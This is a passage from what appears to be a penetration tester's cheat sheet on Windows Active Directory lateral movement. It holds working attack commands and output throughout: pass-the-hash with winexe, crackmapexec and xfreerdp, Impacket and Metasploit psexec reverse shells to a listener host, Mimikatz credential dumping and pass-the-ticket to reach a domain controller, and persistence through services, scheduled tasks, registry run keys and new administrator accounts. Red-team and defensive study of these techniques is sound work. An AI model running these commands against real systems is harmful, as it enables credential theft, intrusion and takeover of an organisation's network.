ABCD\VPN Admins           ABCD          VPN Admins
ABCD\VPN Users            ABCD          VPN Users
ABCD\XXX - OER Users      ABCD          XXX - OER Users
```

Hunting for a particular User?

Powerview Invoke-UserHunter

BloodHound users_sessions

EventLog AD?

How? Not yet successful!

Remote Code Execution Methods

A lot of details for Remote Code execution has already been mentioned by Rop Nop in his three parts Part 1: Using credentials to own windows boxes , Part2: PSExec and Services and Part: 3 Wmi and WinRM and by scriptjunkie in his blog Authenticated Remote Code Execution Methods in Windows

We have just summarized all in one page with *working* examples wherever possible.

Winexe

Linux Binary pth-winexe

```
winexe version 1.1
Usage: winexe [OPTION]... //HOST COMMAND
Options:
 -h, --help                                 Display help message
 -V, --version                              Display version number
 -U, --user=[DOMAIN/]USERNAME[%PASSWORD]    Set the network username
 -A, --authentication-file=FILE             Get the credentials from a f
 -N, --no-pass                              Do not ask for a password
 -k, --kerberos=STRING                      Use Kerberos, -k [yes|no]
 -d, --debuglevel=DEBUGLEVEL                Set debug level
     --uninstall                            Uninstall winexe service aft
```

```
    --reinstall                             Reinstall winexe service bef
    --system                                Use SYSTEM account
    --profile                               Load user profile
    --convert                               Try to convert characters be
    --runas=[DOMAIN\]USERNAME%PASSWORD      Run as the given user (BEWARE
    --runas-file=FILE                       Run as user options defined i
    --interactive=0|1                       Desktop interaction: 0 - disa
    --ostype=0|1|2                          OS type: 0 - 32-bit, 1 - 64-b
```

Example with pth:

```
pth-winexe -U ./Administrator%aad3b435b51404eeaad3b435b51404ee:4b579a266f0
pth-winexe -U EXAMPLE/Administrator%example@123 //10.145.X.X cmd.exe
```

If we want to login as NTAuthority, probably use -system. (Helpful when we to run commands as NTAuthority such as installing ssh server host keys)

Windows Binary win-exe

win-exe can be downloaded from winexe

commands and usage is same as linux binary pth-winexe. However, it needed to be compiled from the source.

crackmapexec

CrackMapExec is quite awesome tool when it comes to remote command execution. Read the wiki

Usage

```
positional arguments:
target                The target IP(s), range(s), CIDR(s), hostname(s), FQ

optional arguments:
  -h, --help            show this help message and exit
  -v, --version         show program's version number and exit
  -t THREADS            Set how many concurrent threads to use (default: 1
  -u USERNAME [USERNAME ...]  Username(s) or file(s) containing usernames
  -d DOMAIN             Domain name
  --local-auth          Authenticate locally to each target
  -p PASSWORD [PASSWORD ...]  Password(s) or file(s) containing passwords
  -H HASH [HASH ...]    NTLM hash(es) or file(s) containing NTLM hashes
  -M MODULE, --module MODULE Payload module to use
  -MC CHAIN_COMMAND, --module-chain CHAIN_COMMAND  Payload module chain co
  -o MODULE_OPTION [MODULE_OPTION ...] Payload module options
  -L, --list-modules    List available modules
  --show-options        Display module options
  --verbose             Enable verbose output

Credential Gathering:
Options for gathering credentials

--sam                 Dump SAM hashes from target systems
--lsa                 Dump LSA secrets from target systems
--ntds {vss,drsuapi}  Dump the NTDS.dit from target DCs using the specifie
                      (drsuapi is the fastest)
--ntds-history        Dump NTDS.dit password history
--ntds-pwdLastSet     Shows the pwdLastSet attribute for each NTDS.dit ac
--wdigest {enable,disable}
```

```
                      Creates/Deletes the 'UseLogonCredential' registry ke
Mapping/Enumeration:
Options for Mapping/Enumerating

--shares              Enumerate shares and access
--uac                 Checks UAC status
--sessions            Enumerate active sessions
--disks               Enumerate disks
--users               Enumerate users
--rid-brute [MAX_RID]
                      Enumerate users by bruteforcing RID's (default: 400
--pass-pol            Dump password policy
--lusers              Enumerate logged on users
--wmi QUERY           Issues the specified WMI query
--wmi-namespace NAMESPACE
                      WMI Namespace (default: //./root/cimv2)

Command Execution:
Options for executing commands

--exec-method {smbexec,wmiexec,atexec}
                      Method to execute the command. Ignored if in MSSQL r
--force-ps32          Force the PowerShell command to run in a 32-bit proc
--no-output           Do not retrieve command output
-x COMMAND            Execute the specified command
-X PS_COMMAND         Execute the specified PowerShell command
```

Modules

```
crackmapexec smb -L

[*] empire_exec               Uses Empire's RESTful API to generate a laun
[*] enum_avproducts           Gathers information on all endpoint protecti
[*] enum_chrome               Decrypts saved Chrome passwords using Get-Cl
[*] get_keystrokes            Logs keys pressed, time and the active windo
[*] get_netdomaincontroller   Enumerates all domain controllers
[*] get_netrdpsession         Enumerates all active RDP sessions
[*] get_timedscreenshot       Takes screenshots at a regular interval
[*] gpp_autologin             Searches the domain controller for registry
[*] gpp_password              Retrieves the plaintext password and other i
[*] invoke_sessiongopher      Digs up saved session information for PuTTY,
[*] invoke_vnc                Injects a VNC client in memory
[*] met_inject                Downloads the Meterpreter stager and injects
[*] mimikatz                  Dumps all logon credentials from memory
[*] mimikatz_enum_chrome      Decrypts saved Chrome passwords using Mimika
[*] mimikatz_enum_vault_creds Decrypts saved credentials in Windows Vault/
[*] mimikittenz               Executes Mimikittenz
[*] multirdp                  Patches terminal services in memory to allow
[*] netripper                 Capture's credentials by using API hooking
[*] pe_inject                 Downloads the specified DLL/EXE and injects
[*] rdp                       Enables/Disables RDP
[*] shellcode_inject          Downloads the specified raw shellcode and in
[*] slinky                    Creates windows shortcuts with the icon attr
[*] test_connection           Pings a host
[*] tokens                    Enumerates available tokens
[*] uac                       Checks UAC status
[*] wdigest                   Creates/Deletes the 'UseLogonCredential' reg
[*] web_delivery              Kicks off a Metasploit Payload using the exp
```

Using a module

Simply specify the module name with the -M flag:

```
crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -M mimikatz
06-05-2016 14:13:59 CME          192.168.10.11:445 WIN7BOX         [*] Wi
```

Use the -M flag to specify the module and the -options argument to view the module's supported options:

```
#~ crackmapexec -M mimikatz --options
06-05-2016 14:10:33 [*] mimikatz module options:
COMMAND Mimikatz command to execute (default: 'sekurlsa::logonpasswords')
```

Using module options Module options are specified with the -o flag. All options are specified in the form of KEY=value (msfvenom style)

```
crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -M mimikatz -o (
```

Smbmap

smbmap an inbuilt tool in kali linux which gives some awesome results while gathering information related to the shares associated to with a particular user. As compared to the crackmapexec we can also use smbmap in order to verify the credentials gathered. This can not only be used to map the shares but can also be used for running remote commands by specifying the '-x' flag.

```
smbmap -H 192.168.4.32 -d ABC.com -u Administrat0r -p P@ssw0rd!
[+] Finding open SMB ports....
[+] User SMB session established on 192.168.4.32...
[+] IP: 10.7.3.2:445  Name: dcrs.ABC.com
      Disk                                                    Permissions
      ----                                                    -----------
      ADMIN$                                                  READ, WRITE
      C$                                                      READ, WRITE
      IPC$                                                    READ ONLY
      NETLOGON                                                READ, WRITE
      SYSVOL                                                  READ, WRITE
      [!] Unable to remove test directory at \\192.168.4.32\SYSVOL\BiZyIs
```

Impacket psexec/ smbexe/ wmiexec

Impacket psexec

```
./psexec.py -debug Admini:Password@10.0.X.X

Impacket v0.9.16-dev - Copyright 2002-2016 Core Security Technologies

[*] Trying protocol 445/SMB...
[*] Requesting shares on 10.0.5.180.....
[*] Found writable share ADMIN$
[*] Uploading file kBibbkKL.exe
[*] Opening SVCManager on 10.0.5.180.....
[*] Creating service cvZN on 10.0.5.180.....
[*] Starting service cvZN.....
[-] Pipe not ready, aborting
[*] Opening SVCManager on 10.0.5.180.....
[*] Stoping service cvZN.....
[*] Removing service cvZN.....
[*] Removing file kBibbkKL.exe.....
```

Impacket smbexec

```
./smbexec.py -debug Admini:Password@10.0.5.180

Impacket v0.9.16-dev - Copyright 2002-2016 Core Security Technologies

[+] StringBinding ncacn_np:10.0.5.180[\pipe\svcctl]
[+] Executing %COMSPEC% /Q /c echo cd  ^> \\127.0.0.1\C$\__output 2^>^&1 :
[!] Launching semi-interactive shell - Careful what you execute

C:\Windows\system32>ipconfig
[+] Executing %COMSPEC% /Q /c echo ipconfig ^> \\127.0.0.1\C$\__output 2^:

Windows IP Configuration


Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix  . :
Link-local IPv6 Address . . . . . : fe80::4546:b672:307:b488%10
IPv4 Address. . . . . . . . . . . : 10.0.X.XX
Subnet Mask . . . . . . . . . . . : 255.255.254.0
Default Gateway . . . . . . . . . : 10.0.X.1

Tunnel adapter isatap.{EB92DEE7-521B-4E14-84C2-0E9B9E96563E}:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix  . :

Tunnel adapter Local Area Connection* 11:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix  . :

C:\Windows\system32>
```

Impacket wmiexec

```
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies

usage: wmiexec.py [-h] [-share SHARE] [-nooutput] [-debug]
                  [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key
                  [-dc-ip ip address]
                  target [command [command ...]]

Executes a semi-interactive shell using Windows Management Instrumentatior

positional arguments:
  target                [[domain/]username[:password]@]<targetName or addr
  command               command to execute at the target. If empty it will
                        launch a semi-interactive shell

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials fro
                        ccache file (KRB5CCNAME) based on target parameter
                        If valid credentials cannot be found, it will use
                        ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or
                        bits)
  -dc-ip ip address     IP Address of the domain controller. If ommited it
```

```
                        the domain part (FQDN) specified in the target
                        parameter
```

Example with password

```
wmiexec.py -debug Administrat0r:Passw0rd\!\!@10.0.5.180

Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies

[*] SMBv2.1 dialect used
[+] Target system is 10.0.5.180 and isFDQN is False
[+] StringBinding: \\\\xxxxHBKS1739[\\PIPE\\atsvc]
[+] StringBinding: xxxxhbks1739[49155]
[+] StringBinding: 10.0.5.180[49155]
[+] StringBinding chosen: ncacn_ip_tcp:10.0.5.180[49155]
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>hostname
xxxxhbks1739

C:\>whoami
xxxxhbks1739\administrat0r

C:\>
```

Example with hashes

```
wmiexec.py -debug -hashes xxxxxxxxxxxxxx:xxxxxxx  Administrat0r@10.0.5.18
```

Metasploit psexec

Metasploit psexec have three methods to invoke,

```
msf exploit(psexec) > show targets

Exploit targets:

Id  Name
--  ----
 0   Automatic
 1   PowerShell
 2   Native upload
 3   MOF upload
```

Target 2: Native upload

```
msf exploit(psexec) > set target 2
target => 2

[*] Started reverse TCP handler on 10.11.43.116:4444
[*] 10.0.5.180:445 - Connecting to the server...
[*] 10.0.5.180:445 - Authenticating to 10.0.5.180:445 as user 'Administrat
[*] 10.0.5.180:445 - Uploading payload...
[*] 10.0.5.180:445 - Created \hnFrgUVk.exe...
[-] 10.0.5.180:445 - Service failed to start - ACCESS_DENIED
[*] 10.0.5.180:445 - Deleting \hnFrgUVk.exe...
[*] Exploit completed, but no session was created.
```

We can see that the exploit was completed however, no session was created. Also the antivirus provided an alert.

```
Datei "C:\Windows\hnFrgUVk.exe" belongs to virus/spyware 'Troj/Swrort-K'.
```

Let's try with

Target 1, powershell

```
msf exploit(psexec) > set smbdomain .
smbdomain => .
msf exploit(psexec) > set smbuser Administrat0r
smbuser => Administrat0r
msf exploit(psexec) > set smbpass Passw0rd!!
smbpass => Passw0rd!!
msf exploit(psexec) > set rhost 10.0.5.180
rhost => 10.0.5.180
msf exploit(psexec) > run

[*] Started reverse TCP handler on 10.11.43.116:4444
[*] 10.0.5.180:445 - Connecting to the server...
[*] 10.0.5.180:445 - Authenticating to 10.0.5.180:445 as user 'Administrat
[*] 10.0.5.180:445 - Selecting PowerShell target
[*] 10.0.5.180:445 - Executing the payload...
[+] 10.0.5.180:445 - Service start timed out, OK if running a command or r
[*] Exploit completed, but no session was created.
msf exploit(psexec) > run

[*] Started reverse TCP handler on 10.11.43.116:4444
[*] 10.0.5.180:445 - Connecting to the server...
[*] 10.0.5.180:445 - Authenticating to 10.0.5.180:445 as user 'Administrat
[*] 10.0.5.180:445 - Selecting PowerShell target
[*] 10.0.5.180:445 - Executing the payload...
[+] 10.0.5.180:445 - Service start timed out, OK if running a command or r
[*] Sending stage (957487 bytes) to 10.0.5.180
[*] Meterpreter session 1 opened (10.11.43.116:4444 -> 10.0.5.180:64783) a

meterpreter >
```

Let's try also with

Target 3: MOF Upload

```
msf exploit(psexec) > set target 3
target => 3

[*] Started reverse TCP handler on 10.11.43.116:4444
[*] 10.0.5.180:445 - Connecting to the server...
[*] 10.0.5.180:445 - Authenticating to 10.0.5.180:445 as user 'Administrat
[*] 10.0.5.180:445 - Trying wbemexec...
[*] 10.0.5.180:445 - Uploading Payload...
[*] 10.0.5.180:445 - Created %SystemRoot%\system32\KiaHTgBg.exe
[*] 10.0.5.180:445 - Uploading MOF...
[*] 10.0.5.180:445 - Created %SystemRoot%\system32\wbem\mof\5SZ1WZENmHyays
[*] Exploit completed, but no session was created.
```

Working of MSF PSexec - Native Upload

Jonathan has already written awesome detailed blog Puff Puff PSExec Working of MSF PSExec has been taken from his blog directly.

While similar in functionality to Sysinternal's PsExec, the Metasploit Framework's PSExec Module has a few key differences and at a high-level performs the following actions. By default, the module takes the following actions:

- Creates a randomly-named service executable with an embedded payload
- Connects to the hidden ADMIN$ share on the remote system via SMB
- Drops malicious service executable onto the share
- Utilizes the SCM to start a randomly-named service
- Service loads the malicious code into memory and executes it
- Metasploit payload handler receives payload and establishes session
- Module cleans up after itself, stopping the service and deleting the executable

There is more flexibility with the Metasploit's PSExec in comparison to Microsoft's tool. For instance, the default location of the malicious service executable can be modified from the hidden ADMIN$ to C$ or even another shared folder on the target machine. Names of the service executable and associated service can also be changed under the module's Advanced settings.

However, the most important modification that a penetration tester can make is creating and linking to a custom service executable instead of relying on the executable templates provided by the Metasploit Framework. Failure to do so greatly increases the risk of detection by the target system's anti-virus solution once the executable is dropped to disk.

Working of MSF PSExec - Powershell

Details taken directly from Jonathan blog Puff Puff PSExec

At a high-level, the psexec_psh module works as follows:

- Embed stager into a PowerShell script that will inject the payload into memory
- Compress and Base64 encode the PowerShell script
- Wrap encoded script into a PowerShell one-liner that decodes and deflates
- Connect to ADMIN$ share on target machine over SMB and run the one-liner
- Embedded script is passed into memory via PowerShell's Invoke-Expression (IEX)
- Script creates a new service and passes stager payload into it
- Metasploit payload handler receives payload and establishes session
- Module cleans up after itself by tearing down the service

Sysinternals psexec

Microsoft Sysinternal tool psexec can be downloaded from PsExec. Mark has written a good article on how psexec works is PsExec Working.

```
psexec.exe \\Computername -u DomainName\username -p password <command>
command can be cmd.exe/ ipconfig etc.
```

Working of Microsoft PSExec

The below details are taken from Jonathan blog on Puff Puff PSExec

At a high-level, the PsExec program works as follows:

- Connects to the hidden ADMIN$ share (mapping to the C:Windows folder) on the remote system via SMB
- Utilizes the Service Control Manager (SCM) to start the PsExecsvc service and enable a named pipe on the remote system
- Input/output redirection of the console is achieved via the created named pipe

Sysinternal PSExec with hashes

Sysinternal PSExec is a tool built to assist system administrators. In order to use PsExec with captured hashes, we would require Windows Credential Editor (WCE). This would require us to drop another executable to disk and risk detection. Fuzzynop has provided a tutorial [Pass the Hash without Metasploit]

- Change the current NTLM credentials

```
wce.exe -s <username>:<domain>:<lmhash>:<nthash>
```

Example:

```
C:\Users\test>wce.exe -s testuser:amplialabs:01FC5A6BE7BC6929AA

WCE v1.2 (Windows Credentials Editor) - (c) 2010,2011 Amplia Se
Use -h for help.

Changing NTLM credentials of current logon session (00024E1Bh)
Username: testuser
domain: amplialabs
LMHash: 01FC5A6BE7BC6929AAD3B435B51404EE
NTHash: 0CB6948805F797BF2A82807973B89537
NTLM credentials successfully changed!


C:\Users\test>
```

- Run PSExec normally

```
psexec \\remotecomputer <commandname>
```

If you omit a user name, the process will run in the context of your account on the remote system, but will not have access to network resources (because it is impersonating). Specify a valid user name in the DomainUser syntax if the remote process requires access to network resources or to run in a different account. Since, we are omitting the username, it would run in the context of the current username (The one we have changed with the help of WCE)

Task Scheduler

If you are the administrator of the remote machine and using runas /netonly, we can utilize AT to run commands remotely. Using AT, a command to be run at designated time(s) as SYSTEM.

Examples

```
AT \\REMOTECOMPUTERNAME 12:34 "command to run"
```

```
AT \\REMOTECOMPUTERNAME 12:34 cmd.exe \c "command to run"

"command to run" can be web-delivery string or powershell empire string.
```

If we need to delete the AT jobs, we can use

```
AT \\REMOTECOMPUTERNAME id /delete /yes
```

However, sometimes doing it remotely, we need to figure out the time of the remote computer, we can utilize NET TIME

```
NET TIME \\REMOTECOMPUTERNAME
```

Scheduled Tasks

Schtasks Schedules commands and programs to run periodically or at a specific time. Adds and removes tasks from the schedule, starts and stops tasks on demand, and displays and changes scheduled tasks. Schtasks replaces At.exe, a tool included in previous versions of Windows. Although At.exe is still included in the Windows Server 2003 family, schtasks is the recommended command-line task scheduling tool.

```
schtasks /create /sc <ScheduleType> /tn <TaskName> /tr <TaskRun> [/s <Comp

/sc <ScheduleType>               : Specifies the schedule type. Valid valu
/tn <TaskName>                   : Specifies a name for the task.
/tr <TaskRun>                    : Specifies the program or command that t
/s <Computer>                    : Schedules a task on the specified remot
/u [<Domain>\]<User>             : Runs this command with the permissions
/p <Password>                    : Provides the password for the user acc
/ru {[<Domain>\]<User> | System} : Runs the task with permissions of the s
/rp <Password>                   : Provides the password for the user acc
```

Examples

- Create new task and execute it

```
schtasks /create /tn foobar /tr c:\windows\temp\foobar.exe /sc
schtasks /run /tn foobar /S host
```

- Delete the task after it is executed

```
schtasks /F /delete /tn foobar /S host
```

Service Controller (SC)

Communicates with the Service Controller and installed services. SC.exe retrieves and sets control information about services. Armitage Hacker has mentioned this at his blog Lateral Movement with High Latency

Create a new service

Create a new service named foobar

```
sc \\host create foobar binpath= “c:\windows\temp\foobar.exe”
```

Start the service

```
sc \\host start foobar
```

The sc command requires an executable that responds to Service Control Manager commands. If you do not provide such an executable, your program will run, and then immediately exit.

Delete the service

Delete the service after it runs

```
sc \\host delete foobar
```

Remote Registry

A command to be run or DLL to be loaded when specific events occur, such as boot or login or process execution, as active user or SYSTEM.

Examples

Add an entry

```
REG ADD \\REMOTECOMPUTERNAME\HKLM\Software\Microsoft\Windows\CurrentVersi
```

Command will run every time a user logs in as the user.

Query the remote registry

```
REG QUERY \\REMOTECOMPUTERNAME\HKLM\Software\Microsoft\Windows\CurrentVers
```

Delete the remote registry

```
REG DELETE \\REMOTECOMPUTERNAME\HKLM\Software\Microsoft\Windows\CurrentVer
```

Remote File Access

We can copy a launcher.bat file with powershell empire and drop it Startup folder, so that it executes every time a user logs in as a user.

Example

```
xcopy executabletorun.exe "\\REMOTECOMPUTERNAME\C$\ProgramData\Microsoft\
```

WinRM

Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilizing WMI, it can be thought of as an HTTP based API for WMI. WinRM will listen on one of two ports: 5985/tcp (HTTP) and 5986/tcp (HTTPS)

If one of these ports is open, WinRM is configured and you can try entering a remote session.

Enabling PS-Remoting

Configure the remote machine to work with WinRM. We need to run the below command from elevated powershell prompt

```
PS C:\Windows\system32> Enable-PSRemoting -Force
WinRM already is set up to receive requests on this machine.
WinRM has been updated for remote management.
Created a WinRM listener on HTTP://* to accept WS-Man requests to any IP
WinRM firewall exception enabled.
```

Testing the WinRM Connection

We can use the Test-WSMan function to check if target is configured for WinRM. It should return information returned about the protocol version and wsmid

```
PS C:\> Test-WSMan XXXX-APPS03.example.com
wsmid           : http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanident
ProtocolVersion : http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd
ProductVendor   : Microsoft Corporation
ProductVersion  : OS: 0.0.0 SP: 0.0 Stack: 2.0
```

Adding Trusted Host in WinRM

Add Winrm Trusted Host in Windows

```
winrm set winrm/config/client @{TrustedHosts="RemoteComputerName"}
```

PowerShell Invoke-Command

Execute commands using Powershell Invoke-Command on the target over WinRM.

```
PS C:\> Invoke-Command -ComputerName XXXX-APPS03.xxx.example.com -ScriptBl

Windows IP Configuration

 Host Name . . . . . . . . . . . . : XXXX-Apps03
 Primary Dns Suffix  . . . . . . . : xxx.example.com
 Node Type . . . . . . . . . . . . : Hybrid
 IP Routing Enabled. . . . . . . . : No
 WINS Proxy Enabled. . . . . . . . : No
 DNS Suffix Search List. . . . . . : xxx.example.com
                                     example.com
```

Interactive PowerShell session

```
PS C:\> Enter-PSSession -ComputerName XXXX-APPS03.xxx.example.com
[XXXX-APPS03.xxx.example.com]: PS C:\Users\dummyuser\Documents> whoami
example.com\dummyuser
```

The above commands are executed using runas /netonly if you want to run it with the credentials we can use

```
-credential domainname\username switch
```

Disable Powershell Remoting

Also, if you want to disable the psremoting/ WinRM, you can utilize Disable-PSRemoting . However, if you get

```
PS C:\Windows\system32> Disable-PSRemoting
WARNING: Disabling the session configurations does not undo all the change
Enable-PSSessionConfiguration cmdlet. You might have to manually undo the
    1. Stop and disable the WinRM service.
    2. Delete the listener that accepts requests on any IP address.
    3. Disable the firewall exceptions for WS-Management communications.
    4. Restore the value of the LocalAccountTokenFilterPolicy to 0, which
```

then follow the How to revert changes made by Enable-PSRemoting?

Scott Sutherland has written PowerShell Remoting Cheatsheet which can be referred too.

WMI

As per the TechNet article Windows Management Instrumentation (WMI) is the infrastructure for management data and operations on Windows-based operating systems. You can write WMI scripts or applications to automate administrative tasks on remote computers.

Local code execution

WMI Process Create: The Win32_Process class can be called via WMI to query, modify, terminate, and create running processes.

```
wmic path win32_process call create "calc.exe"
Executing (win32_process)->create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
      ProcessId = 2616;
      ReturnValue = 0;
};
```

The command returns the ProcessID and the ReturnValue (0 abcning no errors)

Remote code execution

We can use runas command to authenticate as a different user and then execute commands using wmic or use

```
wmic /node:computername /user:domainname\username path win32_process call
```

instead of computername, we can specify textfile containing computernames and specify using wmic /node:@textfile

Refer Rop-Nop blog Part3: Wmi and winrm

DCOM

The below is as per my understanding (I might be wrong), if so, please do correct me. After reading Lateral Movement Using the MMC20.Application COM Object and Lateral Movement Via DCOM Round 2 I believe there are three ways to do lateral movement by using DCOM

DCOM applications via MMC Application Class (MMC20.Application)

This COM object allows you to script components of MMC snap-in operations. there is a method named "ExecuteShellCommand" under Document.ActiveView.

```
PS C:\> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC
PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32
```

For Empire

```
$com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\Windows
```

Tanoy has written a simple wrapper/ function Invoke-MMC20RCE.ps1 which might be useful.

DCOM via ShellExecute

```
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"I
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windo
^ The above should run a calc
```

DCOM via ShellBrowserWindow

> Note
>
> Windows 10 Only, the object doesn't exists in Windows 7

```
$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"I
$obj = [System.Activator]::CreateInstance($com)
$obj.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system3
^ The above should run a calc
```

All the above three method, assumes that either you are running the commands as administrator of the remote machine. And you have achieved it either by using runas /netonly or logging in as that user.

While executing the above if you get the below error, it means, we do not have access to execute object remotely which results in “Access Denied”:

```
$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"I
$obj = [System.Activator]::CreateInstance($com)
Exception calling "CreateInstance" with "1" arguement(s) "Retrieving the

At line:1 char:1
+ $obj = [System.Activator]::CreateInstance($com)
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  +CategoryInfo             : NotSpecified: (:), MethodInvocationExceptio
  +FullyQualifiedErrorID    : UnauthorizedAccessException
```

Mimikatz PTH/ PTT

Microsoft Advanced Threat Analytics Attack Simulation Playbook has provided examples for Mimikatz PTH, PTT.

If we do not have plaintext credentials, we can use NTLM hashes to get a shell

Pass the Hash

Using a technique called Overpass-the-Hash we can take the NTLM hash and use it to obtain a Ticket Granting Ticket (TGT) via Kerberos\ Active Directory. With a TGT you can masquerade as the administrative user and access any domain resource that admin user has access to.

```
Mimikatz.exe “privilege::debug” “sekurlsa::pth /user:[username] /ntlm:[nt
```

A new command prompt session opens. This new command prompt injected Admin user credentials into it!

This can be verified by checking

- If we have access to the C drive of the remote machine

```
dir \\remote-machine\c$
```

- Inspect tickets in Overpass-the-hash command prompt: From the new command prompt that opened from the Overpass-the-hash attack, execute the following:

```
klist
```

We should be able to see the ticket of the admin user.

Pass the ticket

Let’s assume, we got credentials of Local Admin A, by which we can login in to the machine on which Domain Admin is logged on. We would utilize pass the ticket for this

- Harvest Credentials
- Execute Mimikatz against Admin-PC (on which domain admin is logged on)

From the new command prompt, running in the context of admin user, go to the part of the filesystem where Mimikatz is located from that library. Run the following commands:

```
xcopy mimikatz \\admin-pc\c$\temp
```

Next, execute MimiKatz remotely to export all Kerberos tickets from Admin-PC:

```
psexec.exe \\admin-pc -accepteula cmd /c (cd c:\temp ^& mimikat
```

Copy these tickets back to Victim-PC:

```
xcopy \\admin-pc\c$\temp c:\temp\tickets
```

We successfully executed Mimikatz remotely, exporting all Kerberos tickets from Admin-PC. We copied back the results to Victim-PC, and now has one of the Domain Admin credentials without having to exploit his computer!

- Locate the Domain Admin user TGT

  Locate the kirbi files which are not Domain Admin user (i.e. “ADMIN-PC$”). Delete those and keep the Domain Admin user tickets.

- Pass-the-Ticket

  We can pass the Domain Admin User tickets, literally, into memory and use them to gain access to resources as if you were Domain Admin. The attacker is ready to import them into Victim-PC’s memory, to get the credentials to access sensitive resources.

  From an elevated command prompt, where Mimikatz is located on the filesystem, execute the following:

  ```
  mimikatz.exe “privilege::debug” “kerberos::ptt c:\temp\tickets”
  ```

  Ensure that the DomainAdminUser@krbtgt-Domainname tickets were successfully imported. Now, let’s validate that the right tickets are in the command prompt session.

- Validate the ticket was imported

  Execute the following in the same elevated command prompt:

  ```
  klist
  ```

  The attacker now successfully imported the harvested ticket into the session, and will now leverage their new privilege and access to access the domain controller’s C drive

- Access contents of dc1c$ with DomainAdminUser credential

Execute the following in the same command prompt to which the tickets were just imported.

```
dir \\dc1\c$
```

The attacker is now, for all intents and purposes, DomainAdminUser, in the digital world. Only administrators should be able to access the root of the domain controller. The attacker is using legitimate credentials, can access legitimate resources and executing legitimate executables.

xfreerdp/ Remote Desktop

rdesktop

```
rdesktop IPAddress
```

Remote Desktop with 90% Screen

```
rdesktop -g 90%
rdesktop -f : for Full screen. Fullscreen mode can be toggled at any time
```

Pass the Hash with Remote Desktop

If we have a hash of a user, we can use xfreerdp to have remote desktop

```
xfreerdp /u:user /d:domain /pth:hash /v:IPAddress
```

More information refer Passing the Hash with Remote Desktop

Todo

—-dsquery !! SubMSI ? MSUtil to use RCE? —-Any commands if net, or powershell is blocked? or PV/ BH is caught?

Useful Stuff

Add/ remove/ a local user

```
net user /add [username] [password]
```

```
net user John xxxxxxxxx /ADD

C:\>net user /add John *
Type a password for the user:
Retype the password to confirm:
The command completed successfully.
```

Add a domain user

```
net user username password /ADD /DOMAIN
```

Add / remove a local user to administrator group

```
net localgroup administrators [username] /add
```

Change local user password

```
net user username newpassword
```

Accessing Remote machines

Windows

Setup an SMB connection with a host

```
PS C:\> net use \\DC.xxxxxxxx.net
The command completed successfully.
```

Check for access to admin shares (“C$”, or “ADMIN$”), if we are admin:

```
PS C:\> dir \\DC.xxxxxxxxxx.net\C$\Users

Directory: \\DC.xxxxxxxx.net\C$\Users

Mode                 LastWriteTime     Length Name
----                 -------------     ------ ----
d----         20.11.2016     09:35            axx.xxxxxx
d----         21.11.2010     06:47            Administrator
d-r--         14.07.2009     06:57            Public
```

If we are not admin, we might get access denied:

```
PS C:\> dir \\DC.xxxxxxxxxx.net\C$\Users
Access is denied.
```

Check your net connections:

```
PS C:> net use
New connections will be remembered.

Status       Local     Remote                    Network

-------------------------------------------------------------------------------
OK                     \\DC.xxxxxxxx.net\IPC$   Microsoft Windows Network
The command completed successfully.
```

However, if administrator on DC.xxxxx.net runs a net session command, the connections would be detected. For that issue

```
net use /delete *
```

On windows, after running this, if we execute

```
//IPAddress/C$
```

we should be able to view the directory via windows explorer.

Linux

smbclient: We can use smbclient to access the remote computer file-system.

```
smbclient -L hostname -U domainname\\username

-L|--list This option allows you to look at what services are available o
```

The below will drop you in to command line

```
smbclient \\\\hostname\\C$ -U domainname\\username
(After entering the password)

smb: \> ls
smb: \> ls
$Recycle.Bin                      DHS        0  Wed Nov 30 20:00:40 2016
.rnd                                A     1024  Mon Jul 27 13:51:24 2015
Boot                              DHS        0  Mon Jul 27 14:16:53 2015
bootmgr                         AHSR   333257  Sat Apr 11 21:42:12 2009
BOOTSECT.BAK                     ASR     8192  Wed Jul 21 09:01:52 2010
Certificate                        D        0  Sun Jun 23 17:20:48 2013
Config.Msi                        DHS        0  Thu Feb 16 01:49:59 2017
cpqsprt.trace                       A     8004  Wed Jul 21 08:59:57 2010
cpqsystem                          D        0  Wed Jul 21 08:32:58 2010
csv.err                             A       90  Sun May 20 15:35:38 2012
csv.log                             A      278  Sun May 20 15:35:38 2012
Documents and Settings            DHS        0  Sat Jan 19 19:53:20 2008
Program Files                      DR        0  Thu Sep  8 16:24:36 2016
Program Files (x86)                DR        0  Tue Nov 22 21:28:01 2016
ProgramData                        DH        0  Thu Feb  9 16:51:52 2017
Rename.bat                          A     1406  Wed Oct 26 15:11:19 2011
System Volume Information         DHS        0  Thu Feb 16 01:49:56 2017
temp                               D        0  Fri Aug  9 17:16:55 2013
Users                              DR        0  Wed Nov 30 20:00:08 2016
Windows                            D        0  Wed Feb 15 23:18:12 2017
```

Recursively download a directory using smbclient?

```
smbclient '\\server\share'
mask ""
recurse ON
prompt OFF
